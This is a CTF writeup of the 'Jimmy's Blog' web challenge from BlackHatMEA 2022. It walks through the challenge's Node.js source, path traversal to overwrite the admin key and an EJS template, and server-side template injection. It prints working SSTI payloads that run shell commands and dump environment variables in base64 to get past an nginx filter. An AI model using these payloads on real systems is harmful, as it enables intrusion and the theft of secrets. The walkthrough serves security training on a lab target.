Posts BlackHatMEA Qualifications 2022 CTF Web Challenges Writeup
Post
Cancel

BlackHatMEA Qualifications 2022 CTF Web Challenges Writeup

Peace be upon all of you, on this writeup I am going to cover the solutions of some web challenges from BlackHatMEA CTF. We have participated under the team 0xCha0s.

Jimmy’s Blog

Difficulty: Hard

Description: The technology is always evolving, so why do we still stick with password-based authentication? That makes no sense! That’s why I designed my own password-less login system. I even open-sourced it for everyone interested, how nice of me!

The Challenge begins with a normal blog that contains two articles: We have a login and registration pages. but instead of implementing a normal username and password. it generate a key attached to your username: We will enter a random username then we will get our key to login with: Once logged in, We will get redirected to the main page again with the articles. As we have the source code let’s examine the important parts:

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
app.get("/", (req, res) => {
    const article_paths = fs.readdirSync("articles");
    let articles = []
    for (const article_path of article_paths) {
        const contents = fs.readFileSync(path.join("articles", article_path)).toString().split("\n\n");
        articles.push({
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        });
    }
    res.render("index", {session: req.session, articles: articles});
})

app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const contents = fs.readFileSync(article_path).toString().split("\n\n");
        const article = {
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        }
        res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.get("/login", (req, res) => {
    res.render("login", {session: req.session});
})

app.get("/register", (req, res) => {
    res.render("register", {session: req.session});
})

app.post("/register", (req, res) => {
    const username = req.body.username;
    const result = utils.register(username);
    if (result.success) res.download(result.data, username + ".key");
    else res.render("register", { error: result.data, session: req.session });
})

app.post("/login", upload.single('key'), (req, res) => {
    const username = req.body.username;
    const key = req.file;
    const result = utils.login(username, key.buffer);
    if (result.success) { 
        req.session.username = result.data.username;
        req.session.admin = result.data.admin;
        res.redirect("/");
    }
    else res.render("login", { error: result.data, session: req.session });
})

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.redirect("/");
})

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})

app.listen(3000, () => {
    console.log("Server running on port 3000");
}) 

utils.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const db = new sqlite(":memory:");

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

function login(username, key) {
    const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
    if (!user) return { success: false, data: "User does not exist" };

    if (key.length !== 1024) return { success: false, data: "Invalid access key" };
    const key_path = path.join(__dirname, "keys", username + ".key");
    if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
    return { success: true, data: user };
}

module.exports = { register, login };

Looking carefully at the source code we can notice the following:

  • On utils.js, We can notice that we have two different privileges for the application normal users and admin. but you can’t register an admin user because we can’t control the value of admin=0 on line 15.
  • On utils.js line 13, We have an admin user called jimmy_jammy.
  • On utils.js line 21, notice that we can control the value of the username variable that means we have a path traversal vulnerability.
  • On utils.js line 21-24, We can exploit the path traversal vulnerability to overwrite the admin (jimmy_jammy) with a new key and login with it. Note that, Our starting directory is keys.

So now we can register by the following username to get the key of the admin user: the admin key will get downloaded, let’s login with it: Great! as we became admin let’s search for the flag, in the source code the flag is in the /edit route:

1
2
3
4
5
6
7
8
9
10
11
app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

what? In the source code we have seen that if you visited the /edit route the flag would be given to you. but what is the problem? going back to the source code again I have noticed the following in the nginx.conf file:

1
2
3
4
5
6
7
8
9
10
11
12
13
server {
        listen 80 default_server;
        listen [::]:80 default_server;

        server_name _;

        location / {
	    # Replace the flag so nobody steals it!
            sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day';
            sub_filter_once off;
            proxy_pass http://localhost:3000;
        }
}

Hmmm! the real flag is being replaced by this word “oof, that was close, glad i was here to save the day” that is why we can’t see the real flag. So to read the real flag we need to have access to the system not the web application because the real flag is being replaced in the by a fake one. let’s take a close look at the edit functionality again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})

Have you noticed it? Path Traversal Again!

at line 16, we can see that the id parameter is being passed without a filter to path.join() function which allow us to control the value of the path. but this time the function is inside writeFileSyncwhich() allow us to write data inside any file of our choice. let’s get RCEE!

but first we need to determine which file we are going to override: As you can see EJS template is being used. So we can override any of these files and executing commands via SSTI. Let’s intercept the edit request and overwrite the file: Since the id parameter is vulnerable so we will path for the file that we want to override and add the data inside article parameter. send the request and refresh the page. SSTI is working now! doing some research, I have found the following command and used it to get RCE.

1
global.process.mainModule.require('child_process').execSync('ls').toString()

Going back to the source code and search to know where the flag is located: So the flag is being stored inside the environment variables let’s dump the environment variable by running the env command:

1
global.process.mainModule.require('child_process').execSync('env').toString()

The Flag is there but why we are getting the “oof, that was close, glad i was here to save the day” instead of the real flag? do you remember the nginx.conf file behavior. every time the real flag
printed in the web page it will be replaced by the previous dummy sentence. let’s get around this behavior by base64 encode the output of the env command.

1
global.process.mainModule.require('child_process').execSync('env | base64').toString()

let’s decode this value and Voila!

Black Notes

Difficulty: Medium

Description: We created this website for hackers to save their payloads and notes in a secure way!

My team mate 0xMesbaha have written a writeup for it got check it out from the following link:

https://hussienmisbah.github.io/post/black-notes/

Meme Generator

Difficulty: Medium

https://hussienmisbah.github.io/post/meme-generator/

This post is licensed under CC BY 4.0 by the author.